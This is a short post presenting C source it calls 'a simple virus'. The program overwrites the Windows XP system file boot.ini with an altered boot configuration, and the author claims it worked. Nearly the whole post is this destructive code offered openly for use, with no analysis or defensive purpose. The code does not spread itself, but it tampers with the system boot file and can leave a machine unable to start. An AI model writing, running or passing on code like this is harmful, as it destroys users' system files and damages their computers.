A Simple Virus in C

Here is the code for a simple virus programmed in C.

#include <stdio.h>
#include <string.h>
void main()
{
 FILE *fp;
 char line[5][50];
 int j;
 fp = fopen("c:\\boot.ini", "w");
 strcpy(line[0], "[boot loader]");
 strcpy(line[1], "timeout=30");
 strcpy(line[2], "default=multi(0)disk(0)rdisk(0)partition(1)");
 strcpy(line[3], "[operating systems]");
 strcpy(line[4], "multi(0)disk(0)rdisk(0)partition(1)");
 for (j = 0; j< 5; j++)
 {
  fputs(line[j], fp);
  fputc('\n', fp);
 }
 fclose(fp);
}
This program replaces the system file "boot.ini" in system drive with a new one.
This worked with me in Windows XP.